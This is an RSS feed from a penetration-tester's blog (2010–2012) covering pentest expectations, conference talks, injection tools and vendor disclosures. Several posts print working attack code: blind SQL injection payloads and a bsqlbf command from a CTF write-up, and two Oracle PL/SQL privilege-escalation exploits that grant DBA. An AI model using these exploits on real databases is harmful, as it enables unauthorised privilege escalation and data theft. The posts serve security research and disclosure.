<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>www.notsosecure.com</title>
	<atom:link href="http://www.notsosecure.com/folder2/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.notsosecure.com/folder2</link>
	<description>From Pentesters To Pentesters</description>
	<lastBuildDate>Thu, 03 May 2012 22:13:49 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.8.4</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>What to/not to expect from pentest</title>
		<link>http://www.notsosecure.com/folder2/2012/05/03/what-tonot-to-expect-from-pentest/</link>
		<comments>http://www.notsosecure.com/folder2/2012/05/03/what-tonot-to-expect-from-pentest/#comments</comments>
		<pubDate>Thu, 03 May 2012 22:04:20 +0000</pubDate>
		<dc:creator>sid</dc:creator>
				<category><![CDATA[Research]]></category>

		<guid isPermaLink="false">http://www.notsosecure.com/folder2/?p=474</guid>
		<description><![CDATA[Hello,
it has been a while since I posted something (nothing unusual), but I really wanted to touch on a sensitive/controversial topic. Firstly, the blog just represent my personal opinion and not that of my employer, so do not draw any conclusions!
So, to start the debate, I have a question:
Do you expect a black-box pentest to [...]]]></description>
			<content:encoded><![CDATA[<p>Hello,</p>
<p>it has been a while since I posted something (nothing unusual), but I really wanted to touch on a sensitive/controversial topic. Firstly, the blog just represent my personal opinion and not that of my employer, so do not draw any conclusions!</p>
<p>So, to start the debate, I have a question:</p>
<p><strong>Do you expect a black-box pentest to find *all* vulnerabilities?</strong><br />
&#8211;<br />
I will comment on this with mainly with a black-box app pentest in mind but the same logic apply to other forms of pentest too (in my opinion that is)<br />
&#8212;<br />
My thoughts: Any pentest vendor you choose, they would try to find as many vulnerabilities as they possibly can. Most security consultancy companies (at-least all good ones) follow a set methodology, some sort of check-list, a number of in-house /commercial tools and other related material to ensure 2 most important things :</p>
<p>1. consistency<br />
2. coverage</p>
<p>Pentesters are not robots, they are humans and different people have different expertise and different skills and of-course some are more skilled in one area than others. The methodology, in-house/commercial tools, check-lists etc help achieve some level of consistency between various pentesters. </p>
<p>Time factor: Black Box pentests are usually a function of time. That is you only get a few days to assess the security of a particular application. New vulnerabilities/technology makes our job more complicated/interesting. Most tests nowadays are scoped based around clients budget they have for security testing and hence the scope is limited to find as many vulnerabilities as one possibly can in that amount of time. The more time you will allow to find vulnerabilities, the more likely it is that new vulnerabilities will be found.</p>
<p>What is a black box pentest: The nature of black-box pentest is such that it can never guarantee that there are no more security flaws other than those reported in the pentest report. For a more thorough assessment, source code auditing is recommended. Black box pentest is done primarily to provide assurance that if a reputed pentest vendor cannot find anything major wrong with the application&#8217;s security than its less likely to suffer from high risk issue(s). I can easily code up applications with critical security flaws which can only be identified when the source code is available and these are nearly impossible to find in a black box pentest.   </p>
<p>The length vs the breadth:  Should you find a high risk vulnerability, how much time can you spend in exploiting it. Should you exploit it? Of-course, you should safely exploit it to demonstrate the true impact of the vulnerability. Often exploitation of one vulnerability leads to discovery of another vulnerability. E.g. exploiting a vulnerable file upload functionality can give you access to source code and could lead to discovery of a SQL Injection issue. But exactly how much time can you spend exploiting it. Can you afford to miss a Local file include vulnerability because you spent too much time exploiting some other vulnerability? Thus, when a critical issue has been identified I would always recommend that the retest don&#8217;t just focus on the 1 issue but at-least some more testing is done to ensure that the test has received a decent coverage. </p>
<p>The out-of-box thinking: Pentest by nature involves creative thinking. The more familiarized the pentesters are with the application, the results will be so much better. Most pentesters would start a pentest by getting familiarized with the application. If I perform a pentest of the same application which i tested six months ago, then I would have already had an understanding of the application&#8217;s behavior/security/logic/input validation etc and I can then spend some time to come up with some new innovative hacks. But unfortunately, the way it works, If i do find a clever hack in the recent test than sadly, I will be asked the question &#8220;Why the Hell did I miss in the first pentest&#8221;&#8230;&#8230;.</p>
<p>Technology and Vulnerability move on: Again, even if you have not changed any line of code in your application it does not mean that the pentest will not find anything new this time. E.g. the world did not know of the padding oracle attack till 2 or so years ago; but because I know it now, I will identify and report it now. It does not mean I missed it then.. </p>
<p>Thus there are so many factors which one should consider when requesting a pentest and set expectations accordingly. Also the pentester needs to consider several factors to ensure that they provide the best possible result in the allocated time. Hopefully, this also highlights the need for regular pentest.</p>
<p>Hope my rant dont upset too many people. Would love to hear what the other guys from the industry think about this&#8230;.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.notsosecure.com/folder2/2012/05/03/what-tonot-to-expect-from-pentest/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Black Hat Eu 2012</title>
		<link>http://www.notsosecure.com/folder2/2012/03/18/black-hat-eu-2012/</link>
		<comments>http://www.notsosecure.com/folder2/2012/03/18/black-hat-eu-2012/#comments</comments>
		<pubDate>Sun, 18 Mar 2012 09:11:17 +0000</pubDate>
		<dc:creator>sid</dc:creator>
				<category><![CDATA[Research]]></category>

		<guid isPermaLink="false">http://www.notsosecure.com/folder2/?p=471</guid>
		<description><![CDATA[Hello All,
as always it has been a while since I posted something. Some things never change&#8230;..
Anyways, I was privileged to speak at yet another Black Hat. This time i was a 2nd speaker and along with Tom Forbes we presented a talk on Hacking XPATH 2.0. One question which everyone wants to know, how many [...]]]></description>
			<content:encoded><![CDATA[<p>Hello All,</p>
<p>as always it has been a while since I posted something. Some things never change&#8230;..</p>
<p>Anyways, I was privileged to speak at yet another Black Hat. This time i was a 2nd speaker and along with Tom Forbes we presented a talk on Hacking XPATH 2.0. One question which everyone wants to know, how many times have we found it in the wild? I have seen may be around 7-8 XPath injections in real life pentests and hence I agree this is not very common. XPath 2.0 was only introduced in 2010 and its still in stage of getting implemented in various technology. </p>
<p>Anyways, so if you happen to find a XPATH Injection, you can dump out the entire XML database from the back-end just as you would dump data in a blind sql injection. Further, if the back-end application supports XPath  v2 then you can do lot more like extract data quickly over Out-of-bound channels such as DNS, HTTP etc. You can read not just the current XML document but any xml document on the system. You can do some internal network scanning etc. We then showed XQuery injection. Xquery is a superset of XPATH and supports more features like declaring variable, creating function etc. SO, if you have a XQuery injection, then you can insert what we called as &#8220;One Query To Get Them All&#8221;. This is basically one hiuge dumper script which recursively dump data to attacker&#8217;s HTTP or DNS server and with just one request you can dump any xml file on vulnerable server/app.</p>
<p>The paper and the slides can be found here:<br />
https://www.blackhat.com/html/bh-eu-12/bh-eu-12-archives.html#siddharth<br />
Further, Tom wrote a tool to automate this which can be found here:<br />
https://github.com/orf/xcat</p>
<p>There were some very interesting talks. I liked Shreeraj&#8217;s talk on HTML5. One of the main points he made was that as browsers support html5, you need to worry about it even when your website does not run HTML5. I need to validate this statement, but my understanding is that he was saying with HTML5 you can pretty much issue cross domain XML HTTP request. </p>
<p>Of-course, I attended David Litchfield&#8217;s talk on Database goodies. He started by explaining the Lateral SQL Injection in oracle. He said that there are SYS owned objects within Oracle database and these can be exploited to do privilege escalation. Its worth noting that you need the CREATE PUBLIC SYNONYM privilege to exploit this and I am not sure how easily you can get this. He then talked about &#8220;giving 20/20 vision to a blind sql injection&#8221;. He showed a blind sql injection where app was not returning any data from back-end database and the app was passing the input to a vulnerable stored procedure. He then showed that you can declare a variable and store the output of arbitrary SQL into the variable and then print the variable with htp.print. Again, I am not 100% convinced whether *all* blind sqli can be tricked into doing this.</p>
<p>That&#8217;s it for now, hope to write another blog some time soon.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.notsosecure.com/folder2/2012/03/18/black-hat-eu-2012/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Hacking Oracle From Web: Part 2</title>
		<link>http://www.notsosecure.com/folder2/2011/10/28/hacking-oracle-from-web-part-2/</link>
		<comments>http://www.notsosecure.com/folder2/2011/10/28/hacking-oracle-from-web-part-2/#comments</comments>
		<pubDate>Fri, 28 Oct 2011 15:32:39 +0000</pubDate>
		<dc:creator>sid</dc:creator>
				<category><![CDATA[Research]]></category>

		<guid isPermaLink="false">http://www.notsosecure.com/folder2/?p=459</guid>
		<description><![CDATA[It has been a long time since I posted something. In 2010, I released a paper which talked about how to execute OS code when exploiting a SQL Injection in a web app which talks to oracle database. Back then, I was not aware of 2 publicly available functions which could allow execution of PL/SQL [...]]]></description>
			<content:encoded><![CDATA[<p>It has been a long time since I posted something. In 2010, I released a <a href="http://www.corporate.7safe.com/wp-content/uploads/2011/05/Hacking_Oracle_From_Web_2.pdf">paper</a> which talked about how to execute OS code when exploiting a SQL Injection in a web app which talks to oracle database. Back then, I was not aware of 2 publicly available functions which could allow execution of PL/SQL statement. These functions change everything. These functions imply that we can issue multiple statements and overcome the limitations of oracle&#8217;s SQL language. Interestingly, these 2 functions exist from Oracle 9i upto 11g R2. While I am a little bit puzzled why I didn&#8217;t see these earlier, I have put together a few attack vectors in a new article/paper titled: <a href="http://www.corporate.7safe.com/wp-content/uploads/2011/10/hacking-Oracle-from-web-part2-2.pdf">Hacking Oracle From Web: Part 2</a></p>
<p>In a short summary, If you find a SQL Injection in a Oracle web app, you <strong>can</strong> issue multiple statements by calling one of the two publicly available functions. So, if the injection is in SELECT statement, you can run INSERT, DELETE etc. This also means that if the back-end database has any vulnerability, you can exploit it from the web and get higher privileges. Once you get higher privileges (typically become DBA) then you can execute OS code. </p>
<p>I have also made a small video which shows exploitation of a SQL Injection in an un-patched Oracle database. </p>
<p><iframe width="460" height="500" src="http://www.youtube.com/embed/J9PxYSvb8DI" frameborder="0" allowfullscreen></iframe></p>
<p>Happy Hacking&#8230;</p>
]]></content:encoded>
			<wfw:commentRss>http://www.notsosecure.com/folder2/2011/10/28/hacking-oracle-from-web-part-2/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>LDAP/XPATH Injection tools</title>
		<link>http://www.notsosecure.com/folder2/2011/08/16/ldapxpath-injection-tools/</link>
		<comments>http://www.notsosecure.com/folder2/2011/08/16/ldapxpath-injection-tools/#comments</comments>
		<pubDate>Tue, 16 Aug 2011 17:14:43 +0000</pubDate>
		<dc:creator>sid</dc:creator>
				<category><![CDATA[Research]]></category>

		<guid isPermaLink="false">http://www.notsosecure.com/folder2/?p=456</guid>
		<description><![CDATA[At this year&#8217;s Blackhat US, we conducted a small workshop titled &#8220;The Art of Exploiting Leser Known Injection Flaws&#8221;. In the workshop we discussed a variety of techniques for exploiting ldap, xpath, xml entity injection.
We also released a couple of tools for automating the attacks against LDAP and XPATH. These can be downloaded here:
http://code.google.com/p/ldap-blind-explorer/
http://code.google.com/p/xpath-blind-explorer/
There is [...]]]></description>
			<content:encoded><![CDATA[<p>At this year&#8217;s <a href="https://www.blackhat.com/html/bh-us-11/bh-us-11-briefings.html#Siddharth">Blackhat US</a>, we conducted a small workshop titled &#8220;The Art of Exploiting Leser Known Injection Flaws&#8221;. In the workshop we discussed a variety of techniques for exploiting ldap, xpath, xml entity injection.</p>
<p>We also released a couple of tools for automating the attacks against LDAP and XPATH. These can be downloaded here:</p>
<p><a href="http://code.google.com/p/ldap-blind-explorer/">http://code.google.com/p/ldap-blind-explorer/</a></p>
<p><a href="http://code.google.com/p/xpath-blind-explorer/">http://code.google.com/p/xpath-blind-explorer/</a></p>
<p>There is a small video showing this in action <a href="http://penetration-testing.7safe.com/the-art-of-exploiting-lesser-known-injection-flaws-revealed-at-black-hat/">here</a></p>
<p>Hope, you have fun exploiting XPATH and LDAP Injections with these automated tools.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.notsosecure.com/folder2/2011/08/16/ldapxpath-injection-tools/feed/</wfw:commentRss>
		<slash:comments>8</slash:comments>
		</item>
		<item>
		<title>APPSECUSA CTF! Another Write Up</title>
		<link>http://www.notsosecure.com/folder2/2011/07/06/appsecusa-ctf-another-write-up/</link>
		<comments>http://www.notsosecure.com/folder2/2011/07/06/appsecusa-ctf-another-write-up/#comments</comments>
		<pubDate>Wed, 06 Jul 2011 19:39:36 +0000</pubDate>
		<dc:creator>sid</dc:creator>
				<category><![CDATA[Research]]></category>

		<guid isPermaLink="false">http://www.notsosecure.com/folder2/?p=450</guid>
		<description><![CDATA[I recently came across the Appsec USA CTF. I must say it was a fantastic CTF and i wish there were more CTFs around application security topics. Well done Appsec team and organizers.
The official write up on how the winners solved the problem can be found here. If you are an appsec personnel then you [...]]]></description>
			<content:encoded><![CDATA[<p>I recently came across the <a href="http://www.appsecusa.org/ctf.html">Appsec USA CTF</a>. I must say it was a fantastic CTF and i wish there were more CTFs around application security topics. Well done Appsec team and organizers.</p>
<p>The official write up on how the winners solved the problem can be found <a href="http://devtrixlabs.com/blog/2011/07/appsecusa-2011-pre-challenge-2-walk-through/">here</a>. If you are an appsec personnel then you may want to read the rest of the blog after giving CTF another go.</p>
<p>&#8212;&#8212;-<br />
So, i wish i would have revisited the CTF later and have seen the hints! but anyways, I wanted to share an alternate solution to do the challenge. As it happens, the app has 2 sql injections, one in a select query and another one in Insert query. Obviously, the select query is pretty easy to exploit. Unfortunately, i wasnt clever enough to spot the injection in SELECT query and i worked out the hard way to exploit the insert SQL Injection and you actually don&#8217;t need the SELECT SQL injection and you can do everything within INSERT&#8230;:-)</p>
<p>here is the pseudo code:</p>
<p>INSERT INTO salerow(saleid,bookid,qty) VALUES(151576,1,<strong>injection\&#8217;</strong>)</p>
<p>clearly, the magic quote is enabled, but the injection is in integer, so doesn&#8217;t make much difference. You can use the True and Error scenario to exploit this:</p>
<p>INSERT INTO salerow(saleid,bookid,qty) VALUES(151576,1,<strong>(select case when (1=1) then 1 else 1*(select table_name from information_schema.tables)end)</strong>)<br />
&#8211;<br />
INSERT INTO salerow(saleid,bookid,qty) VALUES(151576,1,<strong>(select case when (1=2) then 1 else 1*(select table_name from information_schema.tables)end)</strong>)</p>
<p>Obviously you replace (1=1)/(1=2) with the boolean question you will ask the mysql server:</p>
<p>so a query like </p>
<p>INSERT INTO salerow(saleid,bookid,qty) VALUES(151576,1,<strong>(select case when (select substr(@@version,1,1))=5 then 1 else 1*(select table_name from information_schema.tables)end)</strong>)</p>
<p>will not produce an error but a query like this:</p>
<p>INSERT INTO salerow(saleid,bookid,qty) VALUES(151576,1,<strong>(select case when (select substr(@@version,1,1))=6 then 1 else 1*(select table_name from information_schema.tables)end)</strong>)</p>
<p>wil go to the else clause and will generate the following error:</p>
<p><strong>Query failed: Subquery returns more than 1 row<br />
</strong></p>
<p>So, now you have a standard true and false scenario and every time you see myql error, you have a false response and when you dont see an error you have a true response.</p>
<p>Using <a href="http://code.google.com/p/bsqlbf-v2/">bsqlbf</a> (with one slight modification)  you can exploit this injection and obtain the password hash for sales user. The command line options i used were(together with burp running on port 8080):</p>
<blockquote><p>bsqlbf-2.7pl -url &#8220;http://challenge.appsecusa.org/cart.php?action=purchase&#038;qty1=&#8221; -blind qty1 -nomatch &#8220;failed&#8221; -method POST -database 1 -type 2 -cookie &#8220;phpsessionid=xxxxxxxxxxxx&#8221; -proxy http://127.0.0.1:8080 -sql &#8220;select password from users where id=2&#8243;</p></blockquote>
<p>&#8212;<br />
Hope it helps..:)</p>
]]></content:encoded>
			<wfw:commentRss>http://www.notsosecure.com/folder2/2011/07/06/appsecusa-ctf-another-write-up/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>BSQLBF v 2.7</title>
		<link>http://www.notsosecure.com/folder2/2011/06/20/bsqlbf-v-2-7/</link>
		<comments>http://www.notsosecure.com/folder2/2011/06/20/bsqlbf-v-2-7/#comments</comments>
		<pubDate>Mon, 20 Jun 2011 17:36:19 +0000</pubDate>
		<dc:creator>sid</dc:creator>
				<category><![CDATA[Research]]></category>

		<guid isPermaLink="false">http://www.notsosecure.com/folder2/?p=448</guid>
		<description><![CDATA[An updated version is now available for download. This supports &#8220;-nomatch&#8221; switch. The -nomatch switch is exactly opposite of the -match switch, ie, it will look for the supplied unique keyword which only appears in the false page and NOT in true page. Remember, the &#8220;-match&#8221; looks for a unique string which only appears in [...]]]></description>
			<content:encoded><![CDATA[<p>An updated version is now available for download. This supports &#8220;-nomatch&#8221; switch. The -nomatch switch is exactly opposite of the -match switch, ie, it will look for the supplied unique keyword which only appears in the false page and <strong>NOT</strong> in true page. Remember, the &#8220;-match&#8221; looks for a unique string which only appears in true and do not appear in false cases.</p>
<p>The -nomatch switch is particularly useful which carying out injections in the following scenarios:</p>
<p>Injection in insert statement<br />
True and Error Scenario<br />
Injection in order by etc</p>
<p>Download it <a href="http://code.google.com/p/bsqlbf-v2/downloads/list">here</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.notsosecure.com/folder2/2011/06/20/bsqlbf-v-2-7/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Upcoming Conferences</title>
		<link>http://www.notsosecure.com/folder2/2011/06/04/upcoming-conferences/</link>
		<comments>http://www.notsosecure.com/folder2/2011/06/04/upcoming-conferences/#comments</comments>
		<pubDate>Sat, 04 Jun 2011 08:34:39 +0000</pubDate>
		<dc:creator>sid</dc:creator>
				<category><![CDATA[Research]]></category>

		<guid isPermaLink="false">http://www.notsosecure.com/folder2/?p=443</guid>
		<description><![CDATA[It has been a long time since i posted something here ; infact, so long that i even forgot the password for the blog   
So, Just a small update on the things i have got lined up for the upcoming Conferences. 

Training: Hacking and Securing Oracle database (2 days)
I am quite excited about [...]]]></description>
			<content:encoded><![CDATA[<p>It has been a long time since i posted something here ; infact, so long that i even forgot the password for the blog <img src='http://www.notsosecure.com/folder2/wp-includes/images/smilies/icon_sad.gif' alt=':(' class='wp-smiley' />  </p>
<p>So, Just a small update on the things i have got lined up for the upcoming Conferences. </p>
<p><img src="https://www.blackhat.com/images/bh-us-11/bh11usa_468x60.png"></p>
<p><strong>Training: Hacking and Securing Oracle database (2 days)</strong><br />
I am quite excited about jointly holding a training session at this years&#8217;s Blackhat with <a href="http://red-database-security.com/">Alexander Kornbrust</a>. The training is ideal for Oracle DBA and Developers. It wont be all about getting shells from back-end database, but we will try to address some more real life problems such as how to manage 1000 instances of back-end database, the built-in Oracle features which can be used to harden the database, some common coding flaws etc. More details including registration details can be found <a href="https://www.blackhat.com/html/bh-us-11/training/kornbrust-siddharth-oracle.html">here</a></p>
<p><strong>Workshop: The Art of Exploiting Lesser Known Injection Flaws</strong><br />
At the Blackhat briefings, me and Aleks (Aleksander Gorkowienko) will be conducting a workshop on some &#8220;not very commmon&#8221; injection flaws. These are LDAP, XPATH, XML external entity etc. We are still working on this and i will post more details later. In a nutshell there will be loads of challenges, CTF, some prizes to be won (may be!) and loads of fun.</p>
<p>Thats all for me, see you in Vegas!</p>
]]></content:encoded>
			<wfw:commentRss>http://www.notsosecure.com/folder2/2011/06/04/upcoming-conferences/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Oracle CPU Jan 2011</title>
		<link>http://www.notsosecure.com/folder2/2011/01/19/oracle-cpu-jan-2011/</link>
		<comments>http://www.notsosecure.com/folder2/2011/01/19/oracle-cpu-jan-2011/#comments</comments>
		<pubDate>Wed, 19 Jan 2011 07:23:44 +0000</pubDate>
		<dc:creator>sid</dc:creator>
				<category><![CDATA[Research]]></category>

		<guid isPermaLink="false">http://www.notsosecure.com/folder2/?p=436</guid>
		<description><![CDATA[Oracle recently patched a vulnerability which I reported in 2009. The vulnerability was a SQL Injection in procedure mdsys.reset_inprog_index(). This procedure cannot be executed by public and when I reported this to Oracle the response was:
Our analysis shows that this issue cannot be exploited except by a user with DBA privileges.
Based on this analysis, we [...]]]></description>
			<content:encoded><![CDATA[<p>Oracle recently <a href="http://www.oracle.com/technetwork/topics/security/cpujan2011-194091.html">patched</a> a vulnerability which I reported in 2009. The vulnerability was a SQL Injection in procedure mdsys.reset_inprog_index(). This procedure cannot be executed by public and when I reported this to Oracle the response was:</p>
<blockquote><p>Our analysis shows that this issue cannot be exploited except by a user with DBA privileges.<br />
Based on this analysis, we will not be creating a CPU fix and will close this issue as &#8220;Not a Security Bug&#8221;.</p></blockquote>
<p>Interestingly, this procedure is not in SYS or SYSTEM schema but in MDSYS schema. Thus any user with &#8220;execute any procedure&#8221; privilege will be able to execute/exploit it. Also, MDSYS user does not have the DBA role. So, can you become DBA?</p>
<p>Well, although MDSYS does not have DBA role it has &#8220;CREATE ANY TRIGGER&#8221; privilege and thus exploiting this will give DBA privileges (indirectly). Here is an example:</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<br />
lets assume that scott has execute any procedure privilege:</p>
<p>now scott creates a function such as:</p>
<p><code>create or replace function fn2 return int authid current_user is<br />
pragma autonomous_transaction;<br />
BEGIN<br />
execute immediate 'create or replace trigger "SYSTEM".the_trigger2<br />
before insert on  system.OL$ for each row BEGIN  SCOTT.Z();<br />
dbms_output.put_line(''aa'');end ;';<br />
return 1;<br />
END;</code></p>
<p>than scott makes this function executable by public:</p>
<p><code>grant execute on scott.fn2 to public;</code></p>
<p>now since scott has execute any procedure privilege, he injects the function created above and make mdsys create a trigger in &#8220;system&#8221; schema:</p>
<p><code>begin<br />
mdsys.reset_inprog_index('aa'' and scott.fn2()=1 and ''1''=''1','bbbbb');<br />
end; </code></p>
<p>Since, public has insert privileges on system.OL$, he does:</p>
<p><code>insert into system.OL$ (OL_NAME) VALUES ('JOB Done');</code></p>
<p>this should make the system user execute the function SCOTT.Z() giving scott DBA privileges.<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br />
This leaves the question, is getting DBA from &#8220;execute any procedure&#8221; privilege a big deal? Its not a big deal theoretically, but here is a real life example which i found in quite a few pentests in which i think this vulnerability has been quite handy.</p>
<p>Oracle 10g onwards lock all default accounts and hence the good old pwnage techniques like connecting with system/change_on_install doesnot really work that much anymore. However, one account which I see quite often in un-locked state is OUTLN/OUTLN (I have seen it unlocked even in a few 11g R2). This is not a default behavior but its common to see. These are the accounts which have &#8220;EXECUTE ANY PROCEDURE&#8221; privilege:</p>
<p>SYS     EXECUTE ANY PROCEDURE<br />
DBA     EXECUTE ANY PROCEDURE<br />
IMP_FULL_DATABASE       EXECUTE ANY PROCEDURE<br />
EXP_FULL_DATABASE       EXECUTE ANY PROCEDURE<br />
WMSYS   EXECUTE ANY PROCEDURE<br />
FLOWS_030000    EXECUTE ANY PROCEDURE<br />
OUTLN   EXECUTE ANY PROCEDURE<br />
WKSYS   EXECUTE ANY PROCEDURE<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<br />
<strong>Summary:</strong> So, if you come across an Oracle database (11g R1, R2) with one of the above mentioned account in un-locked state, you can use this vulnerability to become DBA. In the end, Oracle decided to patch this and this won&#8217;t work anymore after the Jan 2011 patch <img src='http://www.notsosecure.com/folder2/wp-includes/images/smilies/icon_sad.gif' alt=':(' class='wp-smiley' /><br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;</p>
]]></content:encoded>
			<wfw:commentRss>http://www.notsosecure.com/folder2/2011/01/19/oracle-cpu-jan-2011/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Magento E-commerce Persistent XSS</title>
		<link>http://www.notsosecure.com/folder2/2010/11/23/magento-e-commerce-persistent-xss/</link>
		<comments>http://www.notsosecure.com/folder2/2010/11/23/magento-e-commerce-persistent-xss/#comments</comments>
		<pubDate>Tue, 23 Nov 2010 17:00:42 +0000</pubDate>
		<dc:creator>sid</dc:creator>
				<category><![CDATA[Research]]></category>

		<guid isPermaLink="false">http://www.notsosecure.com/folder2/?p=417</guid>
		<description><![CDATA[In a recent pentest, I identified a critical security flaw within Magento ecommerce solution. The flaw is a &#8216;text-book&#8217; persistent XSS within the admin console which can be triggered by any malicious &#8220;non admin&#8221; user. This would result in the compromise of the admin section and we all know what follows from here on.
 This [...]]]></description>
			<content:encoded><![CDATA[<p>In a recent pentest, I identified a critical security flaw within Magento ecommerce solution. The flaw is a &#8216;text-book&#8217; persistent XSS within the admin console which can be triggered by any malicious &#8220;non admin&#8221; user. This would result in the compromise of the admin section and we all know what follows from here on.</p>
<p> This is a classical example which shows that the admin functionality is equally important to assess against security vulnerabilities and not just the publicly available website.  Just because the admin functionality is restricted to trusted users, you cannot ignore the vulnerabilities and this is even more critical when using an open source software. </p>
<p>We reported this issue to Magento on September 24th and the response from Magento was: &#8220;We have investigated and fixed the issue which will be available in the next weekly release and next stable (1.9.1.0 and 1.4.2.0)&#8221;. Magento didn&#8217;t bother to respond to any further emails on when this next &#8220;weekly&#8221; release will be due and no new version/patch was made available until November 8th when a &#8220;preview&#8221; version was released and the release notes actually mentions addressing this issue. More details about this issue and the actual vulnerability can be found <a href="http://penetration-testing.7safe.com/magento-e-commerce-persistent-cross-site-scripting-issue/">here</a>. </p>
<p>Magento&#8217;s updated version and release notes can be read <a href="http://www.magentocommerce.com/download/release_notes#Release%20Notes%20-%20Magento%201.4.2.0-rc1%20(November%208,%202010)">here</a>. While I understand that this release is not a stable version and upgrading to a preview release may not be the best idea and that some may debate whether this is a responsible disclosure and all that. To be honest, the vendor might have taken a better approach and actually bothered to release a security patch. If i know this issue, then its quite likely someone else knows it too and that it might have been exploited in the wild and so on &#8230;</p>
<p>Enough of my ranting. If you are using Magento, <strong>UPDATE NOW!!</strong></p>
]]></content:encoded>
			<wfw:commentRss>http://www.notsosecure.com/folder2/2010/11/23/magento-e-commerce-persistent-xss/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Oracle CPU:October 2010</title>
		<link>http://www.notsosecure.com/folder2/2010/10/16/oracle-cpuoctober-2010/</link>
		<comments>http://www.notsosecure.com/folder2/2010/10/16/oracle-cpuoctober-2010/#comments</comments>
		<pubDate>Sat, 16 Oct 2010 08:02:28 +0000</pubDate>
		<dc:creator>sid</dc:creator>
				<category><![CDATA[Research]]></category>

		<guid isPermaLink="false">http://www.notsosecure.com/folder2/?p=423</guid>
		<description><![CDATA[There are some very interesting issues fixed by Oracle in this month&#8217;s Critical Patch Update (CPU). Although, the details about the exact vulnerabilities are still not public. The ones which i found really interesting are:
1. ZDI-10-201: Oracle Database Java Stored Procedure Race Condition Remote Code Execution Vulnerability
&#8221; This vulnerability allows remote attackers to break out [...]]]></description>
			<content:encoded><![CDATA[<p>There are some very interesting issues fixed by Oracle in this month&#8217;s Critical Patch Update (CPU). Although, the details about the exact vulnerabilities are still not public. The ones which i found really interesting are:</p>
<p>1. ZDI-10-201: Oracle Database Java Stored Procedure Race Condition Remote Code Execution Vulnerability</p>
<p>&#8221; This vulnerability allows remote attackers to break out of the Java Sandbox implemented by Oracle&#8217;s relational database. Authentication is required in that a user must be able to create a Java stored procedure<br />
to trigger the issue. &#8220;.. CVSS score 9</p>
<p>2. SQL Injection in DBMS_CDC_PUBLISH.CREATE_CHANGE_SET reported by Esteben, which could allow any user with <strong>EXECUTE_CATALOG_ROLE</strong> to become DBA.</p>
<p>the exploit is fairly simple:<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br />
as SCOTT User:</p>
<p>create or replace function pwn return varchar2 authid current_user is<br />
PRAGMA autonomous_transaction;<br />
BEGIN<br />
execute immediate &#8216;grant dba to scott&#8217;;<br />
commit;<br />
return &#8216;z&#8217;;<br />
END;<br />
&#8211;<br />
grant execute on SCOTT.pwn to public<br />
&#8211;</p>
<p>begin<br />
sys.dbms_cdc_publish.create_change_set(&#8217;a',&#8217;a',&#8217;a&#8221;||SCOTT.pwn()||&#8221;a&#8217;,'Y&#8217;,sysdate,<br />
sysdate);<br />
end;<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
The exploit is already available in metasploit: <a href="https://www.metasploit.com/redmine/projects/framework/repository/revisions/10691/entry/modules/auxiliary/sqli/oracle/dbms_cdc_publish3.rb">https://www.metasploit.com/redmine/projects/framework/repository/revisions/10691/entry/modules/auxiliary/sqli/oracle/dbms_cdc_publish3.rb</a>. Thanks to MC</p>
<p>This affects 10gR1, 10gR2, 11g R1 and 11gR2. I agree with <a href="http://www.appsecinc.com/news/pr/2010_10_12-TeamSHATTER-Researcher-Credited-By-Oracle-for-Reporting-Vulnerability-in-October-2010-Critical-Patch-Update.shtml">Appsec Inc</a> that the CVSS score should be 7.5 and not 4.9 which oracle has assigned to it.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.notsosecure.com/folder2/2010/10/16/oracle-cpuoctober-2010/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

